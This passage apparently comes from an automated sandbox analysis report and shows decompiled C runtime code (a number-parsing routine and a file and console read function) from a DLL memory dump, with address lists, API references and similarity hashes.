														}
														_t200 = _v120;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v124;
														if(_t258 < _v124) {
															goto L82;
														}
														_t200 = _v128;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v132;
														if(_t258 < _v132) {
															goto L82;
														}
														_t200 = _v136;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v140;
														if(_t258 < _v140) {
															goto L82;
														}
														_t200 = _v144;
														__eflags = _t258 - _t200;
														if(_t258 < _t200) {
															goto L120;
														}
														__eflags = _t258 - _v148;
														if(_t258 >= _v148) {
															goto L120;
														}
													}
													L82:
													_t253 = (_t258 & 0x0000ffff) - _t200;
													goto L119;
													L120:
													__eflags = _v156 - _t258;
													if(_v156 > _t258) {
														L122:
														_t144 = _t258 - 0x61; // -7
														__eflags = _t144 - _v16;
														if(_t144 > _v16) {
															_t253 = _t252 | 0xffffffff;
															__eflags = _t253;
															goto L127;
														}
														L123:
														_t146 = _t258 - 0x61; // -7
														_t255 = _t239;
														__eflags = _t146 - _v16;
														if(_t146 <= _v16) {
															_t255 = _t255 + 0xffffffe0;
															__eflags = _t255;
														}
														_t253 = _t255 + 0xffffffc9;
														goto L127;
													}
													__eflags = _t258 - _v160;
													if(_t258 <= _v160) {
														goto L123;
													}
													goto L122;
												}
											}
											__eflags = _t197 - 0x58;
											if(_t197 == 0x58) {
												goto L76;
											}
											__eflags = _t252;
											if(_t252 == 0) {
												_t252 = 8;
												_a16 = _t252;
											}
											E6ED44026( &_a8, _t197);
											goto L79;
										}
										__eflags = _t252;
										if(_t252 == 0) {
											_t252 = 0xa;
											_a16 = _t252;
										}
										goto L79;
									}
									L64:
									_t215 = _t246;
									__eflags = _t235 - _v16;
									if(_t235 <= _v16) {
										_t215 = _t215 + 0xffffffe0;
										__eflags = _t215;
									}
									_t196 = _t215 + 0xffffffc9;
									goto L68;
								}
								__eflags = _t258 - _v160;
								if(_t258 > _v160) {
									goto L63;
								}
								_t235 = _t246 - 0x00000061 & 0x0000ffff;
								goto L64;
							}
							__eflags = _t258 - _v20;
							if(_t258 >= _v20) {
								__eflags = _t258 - 0xff10;
								if(_t258 >= 0xff10) {
									__eflags = _t258 - _v152;
									if(_t258 >= _v152) {
										_t196 = 0xffffffffffffffff;
										__eflags = 0xffffffffffffffff;
									} else {
										_t196 = (_t258 & 0x0000ffff) - 0xff10;
									}
									L59:
									__eflags = _t196 - 0xffffffff;
									if(_t196 != 0xffffffff) {
										goto L68;
									}
									goto L60;
								}
								_t234 = _v168;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v28;
								if(_t258 < _v28) {
									goto L21;
								}
								_t234 = _v32;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v36;
								if(_t258 < _v36) {
									goto L21;
								}
								_t234 = _v40;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v44;
								if(_t258 < _v44) {
									goto L21;
								}
								_t234 = _v48;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v52;
								if(_t258 < _v52) {
									goto L21;
								}
								_t234 = _v56;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v60;
								if(_t258 < _v60) {
									goto L21;
								}
								_t234 = _v64;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v68;
								if(_t258 < _v68) {
									goto L21;
								}
								_t234 = _v72;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v76;
								if(_t258 < _v76) {
									goto L21;
								}
								_t234 = _v80;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v84;
								if(_t258 < _v84) {
									goto L21;
								}
								_t234 = _v88;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v92;
								if(_t258 < _v92) {
									goto L21;
								}
								_t234 = _v96;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v100;
								if(_t258 < _v100) {
									goto L21;
								}
								_t234 = _v104;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v108;
								if(_t258 < _v108) {
									goto L21;
								}
								_t234 = _v112;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v116;
								if(_t258 < _v116) {
									goto L21;
								}
								_t234 = _v120;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v124;
								if(_t258 < _v124) {
									goto L21;
								}
								_t234 = _v128;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v132;
								if(_t258 < _v132) {
									goto L21;
								}
								_t234 = _v136;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v140;
								if(_t258 < _v140) {
									goto L21;
								}
								_t234 = _v144;
								__eflags = _t258 - _t234;
								if(_t258 < _t234) {
									goto L60;
								}
								__eflags = _t258 - _v148;
								if(_t258 >= _v148) {
									goto L60;
								}
							}
							L21:
							_t196 = (_t258 & 0x0000ffff) - _t234;
							goto L59;
						}
						__eflags = _t252 - 0x10;
						if(_t252 != 0x10) {
							goto L79;
						}
						goto L19;
					}
				}
				if(_t252 < 2) {
					L4:
					 *((intOrPtr*)(E6ED44A9C(_t266))) = 0x16;
					E6ED3D5E4();
					goto L5;
				}
				_t266 = _t252 - 0x24;
				if(_t252 <= 0x24) {
					goto L9;
				}
				goto L4;
			}

0x6ed43909
0x6ed4392c
0x6ed4392e
0x6ed43930
0x6ed43932
0x6ed43932
0x6ed43937
0x6ed4393c
0x6ed4393c
0x6ed43948
0x6ed43948
0x6ed4390b
0x6ed43910
0x6ed43949
0x6ed4394c
0x6ed43952
0x6ed43959
0x6ed4395c
0x6ed4395f
0x6ed43962
0x6ed4396d
0x6ed4396d
0x6ed43976
0x6ed43979
0x6ed4397f
0x6ed43980
0x6ed43982
0x6ed4396a
0x00000000
0x6ed4396a
0x6ed43984
0x6ed43988
0x6ed4398b
0x6ed4398f
0x6ed43999
0x6ed4399d
0x6ed439ad
0x00000000
0x6ed439ad
0x00000000
0x6ed43991
0x6ed43994
0x6ed4399f
0x6ed4399f
0x6ed439a2
0x6ed439a5
0x6ed439a8
0x6ed439b0
0x6ed439b0
0x6ed439b8
0x6ed439bf
0x6ed439c9
0x6ed439d0
0x6ed439d7
0x6ed439de
0x6ed439e5
0x6ed439ec
0x6ed439f3
0x6ed439fa
0x6ed43a01
0x6ed43a08
0x6ed43a0f
0x6ed43a16
0x6ed43a1d
0x6ed43a24
0x6ed43a2b
0x6ed43a32
0x6ed43a39
0x6ed43a40
0x6ed43a47
0x6ed43a4e
0x6ed43a55
0x6ed43a5c
0x6ed43a63
0x6ed43a6a
0x6ed43a71
0x6ed43a78
0x6ed43a7f
0x6ed43a86
0x6ed43a90
0x6ed43a9a
0x6ed43aa4
0x6ed43aae
0x6ed43ab8
0x6ed43ac2
0x6ed43acc
0x6ed43ad5
0x6ed43ad6
0x6ed43ad8
0x6ed43ae3
0x6ed43ae3
0x6ed43ae6
0x6ed43c68
0x6ed43c68
0x6ed43c6f
0x6ed43c82
0x6ed43c82
0x6ed43c85
0x6ed43c88
0x6ed43c8c
0x6ed43c9e
0x6ed43c9e
0x6ed43ca1
0x6ed43ca1
0x6ed43ca3
0x6ed43cb1
0x6ed43cb4
0x6ed43cb7
0x6ed43cba
0x6ed43cbd
0x6ed43cd9
0x6ed43cd9
0x6ed43cdb
0x6ed43cdf
0x6ed43ce0
0x6ed43ce0
0x6ed43ce3
0x6ed43ce6
0x6ed43ce6
0x6ed43ce9
0x6ed43cec
0x6ed43cec
0x6ed43cee
0x6ed43cef
0x6ed43cf0
0x6ed43cf2
0x6ed43cfe
0x6ed43d04
0x6ed43d09
0x6ed43d11
0x6ed43d13
0x6ed43d19
0x6ed43d1f
0x6ed43d22
0x6ed43d24
0x6ed43d25
0x6ed43d28
0x6ed43d2b
0x00000000
0x00000000
0x6ed43d33
0x6ed43d34
0x6ed43d37
0x6ed43d43
0x6ed43d48
0x6ed43d4b
0x6ed43e99
0x6ed43ea0
0x00000000
0x00000000
0x6ed43ea6
0x6ed43ea6
0x6ed43ea9
0x6ed43ea9
0x6ed43eac
0x6ed43edf
0x6ed43edf
0x6ed43ee2
0x6ed43f6a
0x6ed43f6e
0x6ed43f73
0x6ed43f76
0x6ed43f78
0x6ed43f89
0x6ed43f8c
0x6ed43f9a
0x6ed43f9c
0x6ed43fd1
0x6ed43fd5
0x6ed43fd7
0x6ed43fd9
0x6ed43fdc
0x6ed43fdc
0x6ed43fde
0x6ed43fde
0x6ed43fe5
0x6ed43ff1
0x6ed43ff1
0x00000000
0x6ed43fe5
0x6ed43fa3
0x6ed43fa9
0x6ed43fac
0x6ed43fae
0x6ed43fb8
0x6ed43fba
0x6ed43fc5
0x6ed43fc5
0x6ed43fc8
0x6ed43fbc
0x6ed43fbc
0x6ed43fbe
0x6ed43fbe
0x6ed43fcd
0x6ed43fcd
0x00000000
0x6ed43fcd
0x6ed43fb0
0x6ed43fb3
0x00000000
0x6ed43fb3
0x6ed43f80
0x6ed43f83
0x6ed43f85
0x00000000
0x6ed43f85
0x6ed43ee8
0x6ed43eeb
0x00000000
0x00000000
0x6ed43ef0
0x6ed43ef3
0x6ed43ef6
0x6ed43ef8
0x6ed43efb
0x6ed43efe
0x6ed43f33
0x6ed43f33
0x6ed43f35
0x6ed43f4c
0x6ed43f4c
0x6ed43f4e
0x6ed43f51
0x6ed43f53
0x6ed43f56
0x6ed43f56
0x6ed43f59
0x6ed43f5c
0x6ed43f5f
0x6ed43f62
0x00000000
0x6ed43f62
0x6ed43f00
0x6ed43f06
0x6ed43f0c
0x6ed43f0c
0x6ed43f0e
0x6ed43f2b
0x6ed43f2e
0x00000000
0x6ed43f2e
0x6ed43f10
0x6ed43f13
0x00000000
0x00000000
0x6ed43f19
0x6ed43f1f
0x00000000
0x00000000
0x6ed43f21
0x00000000
0x00000000
0x6ed43f23
0x6ed43f29
0x00000000
0x00000000
0x00000000
0x6ed43f29
0x6ed43f08
0x6ed43f0a
0x00000000
0x00000000
0x00000000
0x6ed43f0a
0x00000000
0x6ed43eac
0x6ed43d51
0x6ed43d57
0x6ed43d5a
0x00000000
0x00000000
0x6ed43d60
0x6ed43d64
0x00000000
0x00000000
0x6ed43d66
0x6ed43d69
0x6ed43d6c
0x00000000
0x00000000
0x6ed43d72
0x6ed43d76
0x00000000
0x00000000
0x6ed43d78
0x6ed43d7b
0x6ed43d7e
0x00000000
0x00000000
0x6ed43d84
0x6ed43d88
0x00000000
0x00000000
0x6ed43d8a
0x6ed43d8d
0x6ed43d90
0x00000000
0x00000000
0x6ed43d96
0x6ed43d9a
0x00000000
0x00000000
0x6ed43d9c
0x6ed43d9f
0x6ed43da2
0x00000000
0x00000000
0x6ed43da8
0x6ed43dac
0x00000000
0x00000000
0x6ed43dae
0x6ed43db1
0x6ed43db4
0x00000000
0x00000000
0x6ed43dba
0x6ed43dbe
0x00000000
0x00000000
0x6ed43dc4
0x6ed43dc7
0x6ed43dca
0x00000000
0x00000000
0x6ed43dd0
0x6ed43dd4
0x00000000
0x00000000
0x6ed43dda
0x6ed43ddd
0x6ed43de0
0x00000000
0x00000000
0x6ed43de6
0x6ed43dea
0x00000000
0x00000000
0x6ed43df0
0x6ed43df3
0x6ed43df6
0x00000000
0x00000000
0x6ed43dfc
0x6ed43e00
0x00000000
0x00000000
0x6ed43e06
0x6ed43e09
0x6ed43e0c
0x00000000
0x00000000
0x6ed43e12
0x6ed43e16
0x00000000
0x00000000
0x6ed43e1c
0x6ed43e1f
0x6ed43e22
0x00000000
0x00000000
0x6ed43e28
0x6ed43e2c
0x00000000
0x00000000
0x6ed43e32
0x6ed43e35
0x6ed43e38
0x00000000
0x00000000
0x6ed43e3a
0x6ed43e3e
0x00000000
0x00000000
0x6ed43e44
0x6ed43e47
0x6ed43e4a
0x00000000
0x00000000
0x6ed43e4c
0x6ed43e50
0x00000000
0x00000000
0x6ed43e56
0x6ed43e59
0x6ed43e5c
0x00000000
0x00000000
0x6ed43e5e
0x6ed43e62
0x00000000
0x00000000
0x6ed43e68
0x6ed43e6e
0x6ed43e71
0x00000000
0x00000000
0x6ed43e73
0x6ed43e7a
0x00000000
0x00000000
0x6ed43e80
0x6ed43e86
0x6ed43e89
0x00000000
0x00000000
0x6ed43e8b
0x6ed43e92
0x00000000
0x00000000
0x6ed43e94
0x6ed43d39
0x6ed43d3c
0x00000000
0x6ed43eae
0x6ed43eae
0x6ed43eb5
0x6ed43ec0
0x6ed43ec0
0x6ed43ec3
0x6ed43ec7
0x6ed43edc
0x6ed43edc
0x00000000
0x6ed43edc
0x6ed43ec9
0x6ed43ec9
0x6ed43ecc
0x6ed43ece
0x6ed43ed2
0x6ed43ed4
0x6ed43ed4
0x6ed43ed4
0x6ed43ed7
0x00000000
0x6ed43ed7
0x6ed43eb7
0x6ed43ebe
0x00000000
0x00000000
0x00000000
0x6ed43ebe
0x6ed43d22
0x6ed43cbf
0x6ed43cc2
0x00000000
0x00000000
0x6ed43cc4
0x6ed43cc6
0x6ed43cca
0x6ed43ccb
0x6ed43ccb
0x6ed43cd2
0x00000000
0x6ed43cd2
0x6ed43ca5
0x6ed43ca7
0x6ed43cab
0x6ed43cac
0x6ed43cac
0x00000000
0x6ed43ca7
0x6ed43c8e
0x6ed43c8e
0x6ed43c90
0x6ed43c94
0x6ed43c96
0x6ed43c96
0x6ed43c96
0x6ed43c99
0x00000000
0x6ed43c99
0x6ed43c71
0x6ed43c78
0x00000000
0x00000000
0x6ed43c7d
0x00000000
0x6ed43c7d
0x6ed43aec
0x6ed43af0
0x6ed43afc
0x6ed43aff
0x6ed43c4d
0x6ed43c54
0x6ed43c60
0x6ed43c60
0x6ed43c56
0x6ed43c59
0x6ed43c59
0x6ed43c63
0x6ed43c63
0x6ed43c66
0x00000000
0x00000000
0x00000000
0x6ed43c66
0x6ed43b05
0x6ed43b0b
0x6ed43b0e
0x00000000
0x00000000
0x6ed43b14
0x6ed43b18
0x00000000
0x00000000
0x6ed43b1a
0x6ed43b1d
0x6ed43b20
0x00000000
0x00000000
0x6ed43b26
0x6ed43b2a
0x00000000
0x00000000
0x6ed43b2c
0x6ed43b2f
0x6ed43b32
0x00000000
0x00000000
0x6ed43b38
0x6ed43b3c
0x00000000
0x00000000
0x6ed43b3e
0x6ed43b41
0x6ed43b44
0x00000000
0x00000000
0x6ed43b4a
0x6ed43b4e
0x00000000
0x00000000
0x6ed43b50
0x6ed43b53
0x6ed43b56
0x00000000
0x00000000
0x6ed43b5c
0x6ed43b60
0x00000000
0x00000000
0x6ed43b62
0x6ed43b65
0x6ed43b68
0x00000000
0x00000000
0x6ed43b6e
0x6ed43b72
0x00000000
0x00000000
0x6ed43b78
0x6ed43b7b
0x6ed43b7e
0x00000000
0x00000000
0x6ed43b84
0x6ed43b88
0x00000000
0x00000000
0x6ed43b8e
0x6ed43b91
0x6ed43b94
0x00000000
0x00000000
0x6ed43b9a
0x6ed43b9e
0x00000000
0x00000000
0x6ed43ba4
0x6ed43ba7
0x6ed43baa
0x00000000
0x00000000
0x6ed43bb0
0x6ed43bb4
0x00000000
0x00000000
0x6ed43bba
0x6ed43bbd
0x6ed43bc0
0x00000000
0x00000000
0x6ed43bc6
0x6ed43bca
0x00000000
0x00000000
0x6ed43bd0
0x6ed43bd3
0x6ed43bd6
0x00000000
0x00000000
0x6ed43bdc
0x6ed43be0
0x00000000
0x00000000
0x6ed43be6
0x6ed43be9
0x6ed43bec
0x00000000
0x00000000
0x6ed43bee
0x6ed43bf2
0x00000000
0x00000000
0x6ed43bf8
0x6ed43bfb
0x6ed43bfe
0x00000000
0x00000000
0x6ed43c00
0x6ed43c04
0x00000000
0x00000000
0x6ed43c0a
0x6ed43c0d
0x6ed43c10
0x00000000
0x00000000
0x6ed43c12
0x6ed43c16
0x00000000
0x00000000
0x6ed43c1c
0x6ed43c22
0x6ed43c25
0x00000000
0x00000000
0x6ed43c27
0x6ed43c2e
0x00000000
0x00000000
0x6ed43c34
0x6ed43c3a
0x6ed43c3d
0x00000000
0x00000000
0x6ed43c3f
0x6ed43c46
0x00000000
0x00000000
0x6ed43c48
0x6ed43af2
0x6ed43af5
0x00000000
0x6ed43af5
0x6ed43ada
0x6ed43add
0x00000000
0x00000000
0x00000000
0x6ed43add
0x6ed4398f
0x6ed43915
0x6ed4391c
0x6ed43921
0x6ed43927
0x00000000
0x6ed43927
0x6ed43917
0x6ed4391a
0x00000000
0x00000000
0x00000000

APIs

__aulldvrm.LIBCMT ref: 6ED43D04

Strings

p, xrefs: 6ED43A47
Z, xrefs: 6ED43AC2
:, xrefs: 6ED439B8
f, xrefs: 6ED439DE
p, xrefs: 6ED439E5
p, xrefs: 6ED43A01
f, xrefs: 6ED43A40
f, xrefs: 6ED439FA
A, xrefs: 6ED43AB8

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$A$Z$f$f$f$p$p$p
API String ID: 1302938615-2466996737
Opcode ID: 4f07803d5002463201c219d8dc8e0c4a7ce44c136796955bb09aa2d5a6d7788c
Instruction ID: 86c04b227b05412dd06b0c4aff1d0b02bf3471c2eacbaa7325b80e4a388f23e2
Opcode Fuzzy Hash: 4f07803d5002463201c219d8dc8e0c4a7ce44c136796955bb09aa2d5a6d7788c
Instruction Fuzzy Hash: 81129FB990025ACBEF209FEDD88D6DDB7B2FB60B14FA04255D4547B684D3708E84CB22

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4FECD, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 302
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6ED4FECD(signed int _a4, void* _a8, unsigned int _a12) {
				char _v5;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				long _v32;
				char _v36;
				void* _v40;
				long _v44;
				signed int* _t137;
				signed int _t139;
				intOrPtr _t143;
				unsigned int _t154;
				intOrPtr _t158;
				signed int _t160;
				signed int _t163;
				long _t164;
				intOrPtr _t169;
				signed int _t170;
				intOrPtr _t172;
				signed int _t174;
				signed int _t178;
				void _t180;
				char _t185;
				char _t190;
				signed int _t198;
				signed int _t199;
				signed int _t200;
				signed int _t207;
				long _t210;
				unsigned int _t212;
				intOrPtr _t214;
				unsigned int _t217;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				signed int _t222;
				signed char _t224;
				char _t226;
				signed int _t228;
				void* _t229;
				signed int _t230;
				char* _t231;
				char* _t232;
				signed int _t235;
				signed int _t236;
				void* _t240;
				void* _t242;
				void* _t243;

				_t198 = _a4;
				_t246 = _t198 - 0xfffffffe;
				if(_t198 != 0xfffffffe) {
					__eflags = _t198;
					if(__eflags < 0) {
						L59:
						_t137 = E6ED44A89(__eflags);
						 *_t137 =  *_t137 & 0x00000000;
						__eflags =  *_t137;
						 *((intOrPtr*)(E6ED44A9C( *_t137))) = 9;
						L60:
						_t139 = E6ED3D5E4();
						goto L61;
					}
					__eflags = _t198 -  *0x6ed6f128; // 0x40
					if(__eflags >= 0) {
						goto L59;
					}
					_t207 = _t198 >> 6;
					_t235 = (_t198 & 0x0000003f) * 0x38;
					_v12 = _t207;
					_t143 =  *((intOrPtr*)(0x6ed6ef28 + _t207 * 4));
					_v20 = _t235;
					_v36 = 1;
					_t224 =  *((intOrPtr*)(_t143 + _t235 + 0x28));
					__eflags = 1 & _t224;
					if(__eflags == 0) {
						goto L59;
					}
					_t210 = _a12;
					__eflags = _t210 - 0x7fffffff;
					if(__eflags <= 0) {
						__eflags = _t210;
						if(_t210 == 0) {
							L58:
							return 0;
						}
						__eflags = _t224 & 0x00000002;
						if((_t224 & 0x00000002) != 0) {
							goto L58;
						}
						__eflags = _a8;
						if(__eflags == 0) {
							goto L6;
						}
						_v28 =  *((intOrPtr*)(_t143 + _t235 + 0x18));
						_t226 =  *((intOrPtr*)(_t143 + _t235 + 0x29));
						_v5 = _t226;
						_t240 = 0;
						_t228 = _t226 - 1;
						__eflags = _t228;
						if(_t228 == 0) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags == 0) {
								L14:
								 *(E6ED44A89(__eflags)) =  *_t149 & _t240;
								 *((intOrPtr*)(E6ED44A9C(__eflags))) = 0x16;
								E6ED3D5E4();
								goto L39;
							} else {
								_t154 = 4;
								_t212 = _t210 >> 1;
								_v16 = _t154;
								__eflags = _t212 - _t154;
								if(_t212 >= _t154) {
									_t154 = _t212;
									_v16 = _t212;
								}
								_t240 = E6ED4828C(_t154);
								E6ED48252(0);
								E6ED48252(0);
								_t243 = _t242 + 0xc;
								_v24 = _t240;
								__eflags = _t240;
								if(__eflags != 0) {
									_t158 = E6ED5041A(_t198, 0, 0, 1);
									_t242 = _t243 + 0x10;
									_t214 =  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4));
									 *((intOrPtr*)(_t235 + _t214 + 0x20)) = _t158;
									 *(_t235 + _t214 + 0x24) = _t228;
									_t229 = _t240;
									_t210 = _v16;
									_t143 =  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4));
									L22:
									_t199 = _v20;
									_t235 = 0;
									_v40 = _t229;
									__eflags =  *(_t199 + _t143 + 0x28) & 0x00000048;
									_t200 = _a4;
									if(( *(_t199 + _t143 + 0x28) & 0x00000048) != 0) {
										_t180 =  *((intOrPtr*)(_v20 + _t143 + 0x2a));
										_t200 = _a4;
										__eflags = _t180 - 0xa;
										if(_t180 != 0xa) {
											__eflags = _t210;
											if(_t210 != 0) {
												_t235 = 1;
												 *_t229 = _t180;
												_t231 = _t229 + 1;
												_t220 = _t210 - 1;
												__eflags = _v5;
												_v24 = _t231;
												_v16 = _t220;
												 *((char*)(_v20 +  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4)) + 0x2a)) = 0xa;
												_t200 = _a4;
												if(_v5 != 0) {
													_t185 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4)) + 0x2b));
													_t200 = _a4;
													__eflags = _t185 - 0xa;
													if(_t185 != 0xa) {
														__eflags = _t220;
														if(_t220 != 0) {
															 *_t231 = _t185;
															_t232 = _t231 + 1;
															_t221 = _t220 - 1;
															__eflags = _v5 - 1;
															_v24 = _t232;
															_t235 = 2;
															_v16 = _t221;
															 *((char*)(_v20 +  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4)) + 0x2b)) = 0xa;
															_t200 = _a4;
															if(_v5 == 1) {
																_t190 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4)) + 0x2c));
																_t200 = _a4;
																__eflags = _t190 - 0xa;
																if(_t190 != 0xa) {
																	__eflags = _t221;
																	if(_t221 != 0) {
																		 *_t232 = _t190;
																		_t222 = _t221 - 1;
																		__eflags = _t222;
																		_v16 = _t222;
																		_v24 = _t232 + 1;
																		_t235 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t160 = E6ED532C1(_t200);
									__eflags = _t160;
									if(_t160 == 0) {
										L42:
										_v36 = 0;
										L43:
										_t163 = ReadFile(_v28, _v24, _v16,  &_v32, 0);
										__eflags = _t163;
										if(_t163 == 0) {
											L54:
											_t164 = GetLastError();
											_t235 = 5;
											__eflags = _t164 - _t235;
											if(__eflags != 0) {
												__eflags = _t164 - 0x6d;
												if(_t164 != 0x6d) {
													L38:
													E6ED44A66(_t164);
													goto L39;
												}
												_t236 = 0;
												goto L40;
											}
											 *((intOrPtr*)(E6ED44A9C(__eflags))) = 9;
											 *(E6ED44A89(__eflags)) = _t235;
											goto L39;
										}
										_t217 = _a12;
										__eflags = _v32 - _t217;
										if(_v32 > _t217) {
											goto L54;
										}
										_t236 = _t235 + _v32;
										__eflags = _t236;
										L46:
										_t230 = _v20;
										_t169 =  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4));
										__eflags =  *((char*)(_t230 + _t169 + 0x28));
										if( *((char*)(_t230 + _t169 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v36;
												_push(_t236 >> 1);
												_push(_v40);
												_push(_t200);
												if(_v36 == 0) {
													_t170 = E6ED4FA28();
												} else {
													_t170 = E6ED4FD48();
												}
											} else {
												_t218 = _t217 >> 1;
												__eflags = _t217 >> 1;
												_t170 = E6ED4FBEF(_t217 >> 1, _t217 >> 1, _t200, _v24, _t236, _a8, _t218);
											}
											_t236 = _t170;
										}
										goto L40;
									}
									_t219 = _v20;
									_t172 =  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4));
									__eflags =  *((char*)(_t219 + _t172 + 0x28));
									if( *((char*)(_t219 + _t172 + 0x28)) >= 0) {
										goto L42;
									}
									_t108 =  &_v28; // 0xa
									_t174 = GetConsoleMode( *_t108,  &_v44);
									__eflags = _t174;
									if(_t174 == 0) {
										goto L42;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L43;
									}
									_t178 = ReadConsoleW(_v28, _v24, _v16 >> 1,  &_v32, 0);
									__eflags = _t178;
									if(_t178 != 0) {
										_t217 = _a12;
										_t236 = _t235 + _v32 * 2;
										goto L46;
									}
									_t164 = GetLastError();
									goto L38;
								} else {
									 *((intOrPtr*)(E6ED44A9C(__eflags))) = 0xc;
									 *(E6ED44A89(__eflags)) = 8;
									L39:
									_t236 = _t235 | 0xffffffff;
									__eflags = _t236;
									L40:
									E6ED48252(_t240);
									return _t236;
								}
							}
						}
						__eflags = _t228 == 1;
						if(_t228 == 1) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags != 0) {
								_t229 = _a8;
								_v16 = _t210;
								_v24 = _t229;
								_t143 =  *((intOrPtr*)(0x6ed6ef28 + _v12 * 4));
								goto L22;
							}
							goto L14;
						} else {
							_t229 = _a8;
							_v16 = _t210;
							_v24 = _t229;
							goto L22;
						}
					}
					L6:
					 *(E6ED44A89(__eflags)) =  *_t145 & 0x00000000;
					 *((intOrPtr*)(E6ED44A9C(__eflags))) = 0x16;
					goto L60;
				} else {
					 *(E6ED44A89(_t246)) =  *_t197 & 0x00000000;
					_t139 = E6ED44A9C(_t246);
					 *_t139 = 9;
					L61:
					return _t139 | 0xffffffff;
				}
			}

0x6ed4fed6
0x6ed4feda
0x6ed4fedd
0x6ed4fef7
0x6ed4fef9
0x6ed5025e
0x6ed5025e
0x6ed50263
0x6ed50263
0x6ed5026b
0x6ed50271
0x6ed50271
0x00000000
0x6ed50271
0x6ed4feff
0x6ed4ff05
0x00000000
0x00000000
0x6ed4ff0f
0x6ed4ff15
0x6ed4ff18
0x6ed4ff1b
0x6ed4ff25
0x6ed4ff28
0x6ed4ff2b
0x6ed4ff2f
0x6ed4ff31
0x00000000
0x00000000
0x6ed4ff37
0x6ed4ff3a
0x6ed4ff40
0x6ed4ff5a
0x6ed4ff5c
0x6ed5025a
0x00000000
0x6ed5025a
0x6ed4ff62
0x6ed4ff65
0x00000000
0x00000000
0x6ed4ff6b
0x6ed4ff6f
0x00000000
0x00000000
0x6ed4ff75
0x6ed4ff78
0x6ed4ff7c
0x6ed4ff83
0x6ed4ff85
0x6ed4ff85
0x6ed4ff88
0x6ed4ffdd
0x6ed4ffdf
0x6ed4ffa5
0x6ed4ffaa
0x6ed4ffb1
0x6ed4ffb7
0x00000000
0x6ed4ffe1
0x6ed4ffe3
0x6ed4ffe4
0x6ed4ffe6
0x6ed4ffe9
0x6ed4ffeb
0x6ed4ffed
0x6ed4ffef
0x6ed4ffef
0x6ed4fffa
0x6ed4fffc
0x6ed50003
0x6ed50008
0x6ed5000b
0x6ed5000e
0x6ed50010
0x6ed50034
0x6ed5003c
0x6ed5003f
0x6ed50046
0x6ed5004d
0x6ed50051
0x6ed50053
0x6ed50056
0x6ed5005d
0x6ed5005d
0x6ed50060
0x6ed50062
0x6ed50065
0x6ed5006a
0x6ed5006d
0x6ed50076
0x6ed5007a
0x6ed5007d
0x6ed5007f
0x6ed50085
0x6ed50087
0x6ed50090
0x6ed50091
0x6ed50093
0x6ed50097
0x6ed50098
0x6ed5009c
0x6ed5009f
0x6ed500a9
0x6ed500ae
0x6ed500b1
0x6ed500c0
0x6ed500c4
0x6ed500c7
0x6ed500c9
0x6ed500cb
0x6ed500cd
0x6ed500d2
0x6ed500d4
0x6ed500d8
0x6ed500d9
0x6ed500df
0x6ed500e9
0x6ed500ea
0x6ed500ed
0x6ed500f2
0x6ed500f5
0x6ed50104
0x6ed50108
0x6ed5010b
0x6ed5010d
0x6ed5010f
0x6ed50111
0x6ed50113
0x6ed50119
0x6ed50119
0x6ed5011a
0x6ed50129
0x6ed5012c
0x6ed5012d
0x6ed5012d
